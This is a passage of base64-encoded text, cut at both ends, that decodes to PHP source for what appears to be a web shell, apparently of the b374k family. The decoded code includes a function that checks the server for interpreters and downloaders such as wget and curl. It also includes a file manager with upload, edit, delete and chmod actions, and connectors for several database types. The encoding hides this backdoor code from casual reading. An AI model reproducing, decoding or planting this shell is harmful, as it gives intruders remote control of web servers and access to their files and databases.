aWxlKT09PXRydWUpCSRzX3ppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNfc3JjLicvJywgJycsICRzX2ZpbGUuJy8nKSk7DQoJCQkJCWVsc2UgaWYgKEBpc19maWxlKCRzX2ZpbGUpPT09dHJ1ZSkgJHNfemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzX3NyYy4nLycsICcnLCAkc19maWxlKSwgQGZnYygkc19maWxlKSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKEBpc19maWxlKCRzX3NyYykgPT09IHRydWUpICRzX3ppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkc19zcmMpLCBAZmdjKCRzX3NyYykpOw0KCQl9DQoJCSRzX3ppcC0+Y2xvc2UoKTsNCgkJcmV0dXJuIHRydWU7DQoJfQ0KfQ0KLy8gY2hlY2sgc2hlbGwgcGVybWlzc2lvbiB0byBhY2Nlc3MgcHJvZ3JhbQ0KZnVuY3Rpb24gY2hlY2tfYWNjZXNzKCRzX2xhbmcpew0KCSRzX3MgPSBmYWxzZTsNCgkkdmVyID0gIiI7DQoJc3dpdGNoKCRzX2xhbmcpew0KCQljYXNlICJweXRob24iOg0KCQkJJHNfY2VrID0gc3RydG9sb3dlcihleGUoInB5dGhvbiAtaCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSkgJHZlciA9IGV4ZSgicHl0aG9uIC1WIik7DQoJCQlicmVhazsNCgkJY2FzZSAicGVybCI6DQoJCQkkc19jZWsgPSBzdHJ0b2xvd2VyKGV4ZSgicGVybCAtaCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSkgJHZlciA9IGV4ZSgicGVybCAtZSBcInByaW50IFwkXVwiIik7DQoJCQlicmVhazsNCgkJY2FzZSAicnVieSI6DQoJCQkkc19jZWsgPSBzdHJ0b2xvd2VyKGV4ZSgicnVieSAtaCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSkgJHZlciA9IGV4ZSgicnVieSAtdiIpOw0KCQkJYnJlYWs7DQoJCWNhc2UgIm5vZGUiOg0KCQkJJHNfY2VrID0gc3RydG9sb3dlcihleGUoIm5vZGUgLWgiKSk7DQoJCQlpZihzdHJwb3MoJHNfY2VrLCJ1c2FnZSIpIT09ZmFsc2UpICR2ZXIgPSBleGUoIm5vZGUgLXYiKTsNCgkJCWJyZWFrOw0KCQljYXNlICJub2RlanMiOg0KCQkJJHNfY2VrID0gc3RydG9sb3dlcihleGUoIm5vZGVqcyAtaCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSkgJHZlciA9IGV4ZSgibm9kZWpzIC12Iik7DQoJCQlicmVhazsNCgkJY2FzZSAiZ2NjIjoNCgkJCSRzX2NlayA9IHN0cnRvbG93ZXIoZXhlKCJnY2MgLS1oZWxwIikpOw0KCQkJaWYoc3RycG9zKCRzX2NlaywidXNhZ2UiKSE9PWZhbHNlKXsNCgkJCQkkc192ZXIgPSBleGUoImdjYyAtLXZlcnNpb24iKTsNCgkJCQkkc192ZXIgPSBleHBsb2RlKCJcbiIsJHNfdmVyKTsNCgkJCQlpZihjb3VudCgkc192ZXIpPjApICR2ZXIgPSAkc192ZXJbMF07DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAidGFyIjoNCgkJCSRzX2NlayA9IHN0cnRvbG93ZXIoZXhlKCJ0YXIgLS1oZWxwIikpOw0KCQkJaWYoc3RycG9zKCRzX2NlaywidXNhZ2UiKSE9PWZhbHNlKXsNCgkJCQkkc192ZXIgPSBleGUoInRhciAtLXZlcnNpb24iKTsNCgkJCQkkc192ZXIgPSBleHBsb2RlKCJcbiIsJHNfdmVyKTsNCgkJCQlpZihjb3VudCgkc192ZXIpPjApICR2ZXIgPSAkc192ZXJbMF07DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAiamF2YSI6DQoJCQkkc19jZWsgPSBzdHJ0b2xvd2VyKGV4ZSgiamF2YSAtaGVscCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSkgJHZlciA9IHN0cl9yZXBsYWNlKCJcbiIsICIsICIsIGV4ZSgiamF2YSAtdmVyc2lvbiIpKTsNCgkJCWJyZWFrOw0KCQljYXNlICJqYXZhYyI6DQoJCQkkc19jZWsgPSBzdHJ0b2xvd2VyKGV4ZSgiamF2YWMgLWhlbHAiKSk7DQoJCQlpZihzdHJwb3MoJHNfY2VrLCJ1c2FnZSIpIT09ZmFsc2UpICR2ZXIgPSBzdHJfcmVwbGFjZSgiXG4iLCAiLCAiLCBleGUoImphdmFjIC12ZXJzaW9uIikpOw0KCQkJYnJlYWs7CQkJDQoJCWNhc2UgIndnZXQiOg0KCQkJJHNfY2VrID0gc3RydG9sb3dlcihleGUoIndnZXQgLS1oZWxwIikpOw0KCQkJaWYoc3RycG9zKCRzX2NlaywidXNhZ2UiKSE9PWZhbHNlKXsNCgkJCQkkc192ZXIgPSBleGUoIndnZXQgLS12ZXJzaW9uIik7DQoJCQkJJHNfdmVyID0gZXhwbG9kZSgiXG4iLCRzX3Zlcik7DQoJCQkJaWYoY291bnQoJHNfdmVyKT4wKSAkdmVyID0gJHNfdmVyWzBdOw0KCQkJfQ0KCQkJYnJlYWs7DQoJCWNhc2UgImx3cGRvd25sb2FkIjoNCgkJCSRzX2NlayA9IHN0cnRvbG93ZXIoZXhlKCJsd3AtZG93bmxvYWQgLS1oZWxwIikpOw0KCQkJaWYoc3RycG9zKCRzX2NlaywidXNhZ2UiKSE9PWZhbHNlKXsNCgkJCQkkc192ZXIgPSBleGUoImx3cC1kb3dubG9hZCAtLXZlcnNpb24iKTsNCgkJCQkkc192ZXIgPSBleHBsb2RlKCJcbiIsJHNfdmVyKTsNCgkJCQlpZihjb3VudCgkc192ZXIpPjApICR2ZXIgPSAkc192ZXJbMF07DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAibHlueCI6DQoJCQkkc19jZWsgPSBzdHJ0b2xvd2VyKGV4ZSgibHlueCAtLWhlbHAiKSk7DQoJCQlpZihzdHJwb3MoJHNfY2VrLCJ1c2FnZSIpIT09ZmFsc2Upew0KCQkJCSRzX3ZlciA9IGV4ZSgibHlueCAtdmVyc2lvbiIpOw0KCQkJCSRzX3ZlciA9IGV4cGxvZGUoIlxuIiwkc192ZXIpOw0KCQkJCWlmKGNvdW50KCRzX3Zlcik+MCkgJHZlciA9ICRzX3ZlclswXTsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlICJjdXJsIjoNCgkJCSRzX2NlayA9IHN0cnRvbG93ZXIoZXhlKCJjdXJsIC0taGVscCIpKTsNCgkJCWlmKHN0cnBvcygkc19jZWssInVzYWdlIikhPT1mYWxzZSl7DQoJCQkJJHNfdmVyID0gZXhlKCJjdXJsIC0tdmVyc2lvbiIpOw0KCQkJCSRzX3ZlciA9IGV4cGxvZGUoIlxuIiwkc192ZXIpOw0KCQkJCWlmKGNvdW50KCRzX3Zlcik+MCkgJHZlciA9ICRzX3ZlclswXTsNCgkJCX0NCgkJCWJyZWFrOw0KCQlkZWZhdWx0Og0KCQkJcmV0dXJuIGZhbHNlOw0KCX0NCglpZighZW1wdHkoJHZlcikpICRzX3MgPSAkdmVyOw0KCXJldHVybiAkc19zOw0KfQ0KLy8gZXhwbG9yZXIsIHJldHVybiBhIHRhYmxlIG9mIGdpdmVuIGRpcg0KZnVuY3Rpb24gc2hvd2Rpcigkc19jd2Qpew0KCWdsb2JhbCAkc19zZWxmLCAkc193aW4sICRzX3Bvc2l4LCAkc190YXI7DQoNCgkkc19mbmFtZSA9ICRzX2RuYW1lID0gYXJyYXkoKTsNCgkkc190b3RhbF9maWxlID0gJHNfdG90YWxfZGlyID0gMDsNCg0KCWlmKCRzX2RoID0gQG9wZW5kaXIoJHNfY3dkKSl7DQoJCXdoaWxlKCRzX2ZpbGUgPSBAcmVhZGRpcigkc19kaCkpew0KCQkJaWYoQGlzX2Rpcigkc19maWxlKSkgJHNfZG5hbWVbXSA9ICRzX2ZpbGU7DQoJCQllbHNlaWYoQGlzX2ZpbGUoJHNfZmlsZSkpJHNfZm5hbWVbXSA9ICRzX2ZpbGU7DQoJCX0NCgkJY2xvc2VkaXIoJHNfZGgpOw0KCX0NCg0KCW5hdGNhc2Vzb3J0KCRzX2ZuYW1lKTsNCgluYXRjYXNlc29ydCgkc19kbmFtZSk7DQoJJHNfbGlzdCA9IGFycmF5X21lcmdlKCRzX2RuYW1lLCRzX2ZuYW1lKTsNCg0KCWlmKCRzX3dpbil7DQoJCS8vY2hlY2sgaWYgdGhpcyByb290IGRpcmVjdG9yeQ0KCQljaGRpcigiLi4iKTsNCgkJaWYoY3AoZ2V0Y3dkKCkpPT1jcCgkc19jd2QpKSBhcnJheV91bnNoaWZ0KCRzX2xpc3QsICIuIik7DQoJCWNoZGlyKCRzX2N3ZCk7DQoJfQ0KDQoJJHNfcGF0aCA9IGV4cGxvZGUoRFMsJHNfY3dkKTsNCgkkc190cmVlID0gc2l6ZW9mKCRzX3BhdGgpOw0KDQoJJHNfcGFyZW50ID0gIiI7DQoJaWYoJHNfdHJlZSA+IDIpIGZvcigkc19pID0gMDsgJHNfaTwkc190cmVlLTI7ICRzX2krKykgJHNfcGFyZW50IC49ICRzX3BhdGhbJHNfaV0uRFM7DQoJZWxzZSAkc19wYXJlbnQgPSAkc19jd2Q7DQoNCgkkc19vd25lcl9odG1sID0gKCEkc193aW4gJiYgJHNfcG9zaXgpPyAiPHRoIHN0eWxlPSd3aWR0aDoxNDBweDttaW4td2lkdGg6MTQwcHg7Jz5vd25lcjpncm91cDwvdGg+IjoiIjsNCgkkc19jb2xzcGFuID0gKCEkc193aW4gJiYgJHNfcG9zaXgpPyAiNSIgOiAiNCI7DQoJJHNfYnVmZiA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUgc29ydGFibGUnPjx0aGVhZD48dHI+PHRoIHN0eWxlPSd3aWR0aDoyNHB4O21pbi13aWR0aDoyNHB4OycgY2xhc3M9J3NvcnR0YWJsZV9ub3NvcnQnPjwvdGg+PHRoIHN0eWxlPSdtaW4td2lkdGg6MTUwcHg7Jz5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjc0cHg7bWluLXdpZHRoOjc0cHg7Jz5zaXplPC90aD4iLiRzX293bmVyX2h0bWwuIjx0aCBzdHlsZT0nd2lkdGg6ODBweDttaW4td2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjE1MHB4O21pbi13aWR0aDoxNTBweDsnPm1vZGlmaWVkPC90aD48dGggc3R5bGU9J3dpZHRoOjIwMHB4O21pbi13aWR0aDoyMDBweDsnIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz5hY3Rpb248L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+IjsNCg0KCQ0KCWZvcmVhY2goJHNfbGlzdCBhcyAkc19sKXsNCgkJaWYoISRzX3dpbiAmJiAkc19wb3NpeCl7DQoJCQkkc19uYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRzX2wpKTsNCgkJCSRzX2dyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRzX2wpKTsNCgkJCSRzX293bmVyID0gJHNfbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz0nZ2F5YSc+Ojwvc3Bhbj4iLiRzX2dyb3VwWyduYW1lJ107DQoJCQkkc19vd25lcl9odG1sID0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiRzX293bmVyLiI8L3RkPiI7DQoJCX0NCg0KCQkkc19saHJlZiA9ICRzX2xuYW1lID0gJHNfbGFjdGlvbiA9ICIiOw0KCQlpZihAaXNfZGlyKCRzX2wpKXsNCgkJCWlmKCRzX2w9PSIuIil7DQoJCQkJJHNfbGhyZWYgPSAkc19zZWxmLiJjZD0iLnBsKCRzX2N3ZCk7DQoJCQkJJHNfbHNpemUgPSAiTElOSyI7DQoJCQkJJHNfbGFjdGlvbiA9ICI8c3BhbiBpZD0ndGl0aWsxJz48YSBocmVmPSciLiRzX3NlbGYuImNkPSIucGwoJHNfY3dkKS4iJmZpbmQ9Ii5wbCgkc19jd2QpLiInPmZpbmQ8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJjZD0iLnBsKCRzX2N3ZCkuIiZ4PXVwbG9hZCIuIic+dXBsPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iY2Q9Ii5wbCgkc19jd2QpLiImZWRpdD0iLnBsKCRzX2N3ZCkuIm5ld2ZpbGVfMSZuZXc9eWVzIi4iJz4rZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywnJywgJ21rZGlyJywnbmV3Zm9sZGVyXzEnKTtcIj4rZGlyPC9hPjwvc3Bhbj48ZGl2IGlkPSd0aXRpazFfZm9ybSc+PC9kaXY+IjsNCgkJCX0NCgkJCWVsc2VpZigkc19sPT0iLi4iKXsNCgkJCQkkc19saHJlZiA9ICRzX3NlbGYuImNkPSIucGwoJHNfcGFyZW50KTsNCgkJCQkkc19sc2l6ZSA9ICJMSU5LIjsNCgkJCQkkc19sYWN0aW9uID0gIjxzcGFuIGlkPSd0aXRpazInPjxhIGhyZWY9JyIuJHNfc2VsZi4iY2Q9Ii5wbCgkc19wYXJlbnQpLiImZmluZD0iLnBsKCRzX3BhcmVudCkuIic+ZmluZDwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuImNkPSIucGwoJHNfcGFyZW50KS4iJng9dXBsb2FkIi4iJz51cGw8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJjZD0iLnBsKCRzX3BhcmVudCkuIiZlZGl0PSIucGwoJHNfcGFyZW50KS4ibmV3ZmlsZV8xJm5ldz15ZXMiLiInPitmaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazInLCciLmFkZHMoJHNfcGFyZW50KS4iJywgJ21rZGlyJywnbmV3Zm9sZGVyXzEnKTtcIj4rZGlyPC9hPjwvc3Bhbj48ZGl2IGlkPSd0aXRpazJfZm9ybSc+PC9kaXY+IjsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJJHNfbGhyZWYgPSAkc19zZWxmLiJjZD0iLnBsKCRzX2N3ZC4kc19sLkRTKTsNCgkJCQkkc19sc2l6ZSA9ICJESVIiOw0KCQkJCSRzX2xhY3Rpb24gPSAiPHNwYW4gaWQ9JyIuY3MoJHNfbCkuIl8nPjxhIGhyZWY9JyIuJHNfc2VsZi4iY2Q9Ii5wbCgkc19jd2QuJHNfbC5EUykuIiZmaW5kPSIucGwoJHNfY3dkLiRzX2wuRFMpLiInPmZpbmQ8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJjZD0iLnBsKCRzX2N3ZC4kc19sLkRTKS4iJng9dXBsb2FkIi4iJz51cGw8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY3MoJHNfbCkuIl8nLCcnLCdyZW5hbWUnLCciLmFkZHMoJHNfbCkuIicsJyIuYWRkcygkc19sKS4iJyk7XCI+cmVuPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iY2Q9Ii5wbCgkc19jd2QpLiImZGVsPSIucGwoJHNfbCkuIic+ZGVsPC9hPjwvc3Bhbj48ZGl2IGlkPSciLmNzKCRzX2wpLiJfX2Zvcm0nPjwvZGl2PiI7DQoJCQkJJHNfdG90YWxfZGlyKys7DQoJCQl9DQoJCQkkc19sbmFtZSA9ICJbICIuJHNfbC4iIF0iOw0KCQkJJHNfbHNpemV0aXQgPSAiMCI7DQoJCQkkc19sbmFtZXRpdCA9ICJkaXIgOiAiLiRzX2w7DQoJCX0NCgkJZWxzZXsNCgkJCSRzX2xocmVmID0gJHNfc2VsZi4idmlldz0iLnBsKCRzX2N3ZC4kc19sKTsNCgkJCSRzX2xuYW1lID0gJHNfbDsNCgkJCSRzX2xzaXplID0gZ3MoJHNfbCk7DQoJCQkkc19sc2l6ZXRpdCA9IEBmaWxlc2l6ZSgkc19sKTsNCgkJCSRzX2xuYW1ldGl0ID0gImZpbGUgOiAiLiRzX2w7DQoJCQkkc19sYWN0aW9uID0gIjxzcGFuIGlkPSciLmNzKCRzX2wpLiJfJz48YSBocmVmPSciLiRzX3NlbGYuImVkaXQ9Ii5wbCgkc19jd2QuJHNfbCkuIic+ZWRpdDwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuImhleGVkaXQ9Ii5wbCgkc19jd2QuJHNfbCkuIic+aGV4PC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNzKCRzX2wpLiJfJywnJywncmVuYW1lJywnIi5hZGRzKCRzX2wpLiInLCciLmFkZHMoJHNfbCkuIicpO1wiPnJlbjwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuImRlbD0iLnBsKCRzX2N3ZC4kc19sKS4iJz5kZWw8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJkbD0iLnBsKCRzX2N3ZC4kc19sKS4iJz5kbDwvYT48L3NwYW4+PGRpdiBpZD0nIi5jcygkc19sKS4iX19mb3JtJz48L2Rpdj4iOw0KCQkJJHNfdG90YWxfZmlsZSsrOw0KCQl9DQoNCgkJJHNfY2JveHZhbCA9ICRzX2N3ZC4kc19sOw0KCQlpZigkc19sPT0nLicpICRzX2Nib3h2YWwgPSAkc19jd2Q7DQoJCWlmKCRzX2w9PScuLicpICRzX2Nib3h2YWwgPSAkc19wYXJlbnQ7DQoNCgkJJHNfY2JveGVzX2lkID0gc3Vic3RyKG1kNSgkc19saHJlZiksMCw4KTsNCgkJJHNfY2JveGVzID0gIjxpbnB1dCBpZD0nIi4kc19jYm94ZXNfaWQuIicgbmFtZT0nY2JveCcgdmFsdWU9JyIuaHNzKCRzX2Nib3h2YWwpLiInIHR5cGU9J2NoZWNrYm94JyBjbGFzcz0nY3NzLWNoZWNrYm94JyBvbmNoYW5nZT0naGlsaXRlKHRoaXMpOycgLz48bGFiZWwgZm9yPSciLiRzX2Nib3hlc19pZC4iJyBjbGFzcz0nY3NzLWxhYmVsJz48L2xhYmVsPiI7DQoNCgkJJHNfbHRpbWUgPSBmaWxlbXRpbWUoJHNfbCk7DQoJCSRzX2J1ZmYgLj0gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO3RleHQtaW5kZW50OjRweDsnPiIuJHNfY2JveGVzLiI8L3RkPjx0ZCBjbGFzcz0neHBsJyB0aXRsZT0nIi4kc19sbmFtZXRpdC4iJyBvbmRibGNsaWNrPVwicmV0dXJuIGdvKCciLmFkZHMoJHNfbGhyZWYpLiInLGV2ZW50KTtcIj48YSBocmVmPSciLiRzX2xocmVmLiInPiIuJHNfbG5hbWUuIjwvYT48L3RkPjx0ZCB0aXRsZT0nIi4kc19sc2l6ZXRpdC4iJz4iLiRzX2xzaXplLiI8L3RkPiIuJHNfb3duZXJfaHRtbC4iPHRkIGNsYXNzPSdjZSc+Ii5ncCgkc19sKS4iPC90ZD48dGQgY2xhc3M9J2NlJyB0aXRsZT0nIi4kc19sdGltZS4iJz4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsJHNfbHRpbWUpLiI8L3RkPjx0ZD4iLiRzX2xhY3Rpb24uIjwvdGQ+PC90cj4iOw0KCX0NCgkkc19idWZmIC49ICI8L3Rib2R5PiI7DQoNCgkkc19leHRyYWN0ID0gIiI7ICRzX2NvbXByZXNzID0gIiI7DQoJaWYoY2xhc3NfZXhpc3RzKCJaaXBBcmNoaXZlIikpew0KCQkkc19leHRyYWN0IC49ICI8b3B0aW9uIHZhbHVlPSdleHRyYWN0emlwJz5leHRyYWN0ICh6aXApPC9vcHRpb24+IjsNCgkJJHNfY29tcHJlc3MgLj0gIjxvcHRpb24gdmFsdWU9J2NvbXByZXNzemlwJz5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7DQoJfQ0KCWlmKCRzX3Rhcil7DQoJCSRzX2V4dHJhY3QgLj0gIjxvcHRpb24gdmFsdWU9J2V4dHJhY3R0YXInPmV4dHJhY3QgKHRhcik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdleHRyYWN0dGFyZ3onPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4iOw0KCQkkc19jb21wcmVzcyAuPSI8b3B0aW9uIHZhbHVlPSdjb21wcmVzc3Rhcic+Y29tcHJlc3MgKHRhcik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdjb21wcmVzc3Rhcmd6Jz5jb21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7DQoJfQ0KDQoJJHNfZXh0Y29tID0gKCRzX2V4dHJhY3QhPSIiICYmICRzX2NvbXByZXNzIT0iIik/ICRzX2V4dHJhY3QuIjxvcHRpb24gdmFsdWU9JycgZGlzYWJsZWQ+LTwvb3B0aW9uPiIuJHNfY29tcHJlc3M6JHNfZXh0cmFjdC4kc19jb21wcmVzczsNCg0KCSRzX2J1ZmYgLj0gIjx0Zm9vdD48dHIgY2xhc3M9J2Nib3hfc2VsZWN0ZWQnPjx0ZCBjbGFzcz0nY2JveF9hbGwnPjxpbnB1dCBpZD0nY2hlY2thbGxsJyB0eXBlPSdjaGVja2JveCcgbmFtZT0nYWJveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgb25jbGljaz0nY2hlY2thbGwoKTsnIC8+IDxsYWJlbCBmb3I9J2NoZWNrYWxsbCcgY2xhc3M9J2Nzcy1sYWJlbCc+PC9sYWJlbD48L3RkPjx0ZD48Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxzZWxlY3QgaWQ9J21hc3NhY3QnIGNsYXNzPSdpbnB1dHpidXQnIG9uY2hhbmdlPSdtYXNzYWN0Z28oKTsnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoyMHB4O21hcmdpbjowOyc+PG9wdGlvbiB2YWx1ZT0nJyBkaXNhYmxlZCBzZWxlY3RlZD5BY3Rpb248L29wdGlvbj48b3B0aW9uIHZhbHVlPSdjdXQnPmN1dDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2NvcHknPmNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+cGFzdGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPmRlbGV0ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JycgZGlzYWJsZWQ+LTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2NobW9kJz5jaG1vZDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RvdWNoJz50b3VjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JycgZGlzYWJsZWQ+LTwvb3B0aW9uPiIuJHNfZXh0Y29tLiI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J0dvICEnIGNsYXNzPSdpbnB1dHpidXQnIG9uY2xpY2s9J21hc3NhY3RnbygpOycgLz48L25vc2NyaXB0PjwvZm9ybT48L3RkPjx0ZCBjb2xzcGFuPSciLiRzX2NvbHNwYW4uIicgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPlRvdGFsIDogIi4kc190b3RhbF9maWxlLiIgZmlsZXMsICIuJHNfdG90YWxfZGlyLiIgRGlyZWN0b3JpZXM8c3BhbiBpZD0ndG90YWxfc2VsZWN0ZWQnPjwvc3Bhbj48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7DQoNCglyZXR1cm4gJHNfYnVmZjsNCn0NCi8vZGF0YWJhc2UgcmVsYXRlZCBmdW5jdGlvbnMNCmZ1bmN0aW9uIHNxbF9jb25uZWN0KCRzX3NxbHR5cGUsICRzX3NxbGhvc3QsICRzX3NxbHVzZXIsICRzX3NxbHBhc3Mpew0KCWlmKCRzX3NxbHR5cGUgPT0gJ215c3FsJyl7IA0KCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gbmV3IG15c3FsaSgkc19zcWxob3N0LCAkc19zcWx1c2VyLCAkc19zcWxwYXNzKTsNCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gQG15c3FsX2Nvbm5lY3QoJHNfc3FsaG9zdCwgJHNfc3FsdXNlciwgJHNfc3FscGFzcyk7IA0KCX0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnbXNzcWwnKXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY29ubmVjdCcpKXsNCgkJCSRzX2NvbmluZm8gPSBhcnJheSgiVUlEIj0+JHNfc3FsdXNlciwgIlBXRCI9PiRzX3NxbHBhc3MpOw0KCQkJcmV0dXJuIEBzcWxzcnZfY29ubmVjdCgkc19zcWxob3N0LCRzX2NvbmluZm8pOw0KCQl9DQoJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIEBtc3NxbF9jb25uZWN0KCRzX3NxbGhvc3QsICRzX3NxbHVzZXIsICRzX3NxbHBhc3MpOw0KCX0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAncGdzcWwnKXsNCgkJJHNfaG9zdHMgPSBleHBsb2RlKCI6IiwgJHNfc3FsaG9zdCk7DQoJCWlmKGNvdW50KCRzX2hvc3RzKT09Mil7DQoJCQkkc19ob3N0X3N0ciA9ICJob3N0PSIuJHNfaG9zdHNbMF0uIiBwb3J0PSIuJHNfaG9zdHNbMV07DQoJCX0NCgkJZWxzZSAkc19ob3N0X3N0ciA9ICJob3N0PSIuJHNfc3FsaG9zdDsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiBAcGdfY29ubmVjdCgiJHNfaG9zdF9zdHIgdXNlcj0kc19zcWx1c2VyIHBhc3N3b3JkPSRzX3NxbHBhc3MiKTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29yYWNsZScpeyBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIHJldHVybiBAb2NpX2Nvbm5lY3QoJHNfc3FsdXNlciwgJHNfc3FscGFzcywgJHNfc3FsaG9zdCk7IH0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnc3FsaXRlMycpew0KCQlpZihjbGFzc19leGlzdHMoJ1NRTGl0ZTMnKSkgaWYoIWVtcHR5KCRzX3NxbGhvc3QpKSByZXR1cm4gbmV3IFNRTGl0ZTMoJHNfc3FsaG9zdCk7DQoJCWVsc2UgcmV0dXJuIGZhbHNlOw0KCX0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnc3FsaXRlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRlX29wZW4nKSkgcmV0dXJuIEBzcWxpdGVfb3Blbigkc19zcWxob3N0KTsgfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdvZGJjJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnb2RiY19jb25uZWN0JykpIHJldHVybiBAb2RiY19jb25uZWN0KCRzX3NxbGhvc3QsICRzX3NxbHVzZXIsICRzX3NxbHBhc3MpOyB9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3Bkbycpew0KCQlpZihjbGFzc19leGlzdHMoJ1BETycpKSBpZighZW1wdHkoJHNfc3FsaG9zdCkpIHJldHVybiBuZXcgUERPKCRzX3NxbGhvc3QsICRzX3NxbHVzZXIsICRzX3NxbHBhc3MpOw0KCQllbHNlIHJldHVybiBmYWxzZTsNCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gc3FsX3F1ZXJ5KCRzX3NxbHR5cGUsICRzX3F1ZXJ5LCAkc19jb24pew0KCWlmKCRzX3NxbHR5cGUgPT0gJ215c3FsJyl7DQoJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiAkc19jb24tPnF1ZXJ5KCRzX3F1ZXJ5KTsNCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRzX3F1ZXJ5KTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ21zc3FsJyl7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X3F1ZXJ5JykpIHJldHVybiBzcWxzcnZfcXVlcnkoJHNfY29uLCRzX3F1ZXJ5KTsNCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfcXVlcnknKSkgcmV0dXJuIG1zc3FsX3F1ZXJ5KCRzX3F1ZXJ5KTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX3F1ZXJ5KCRzX3F1ZXJ5KTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9leGVjdXRlKG9jaV9wYXJzZSgkc19jb24sICRzX3F1ZXJ5KSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHNfY29uLT5xdWVyeSgkc19xdWVyeSk7DQoJZWxz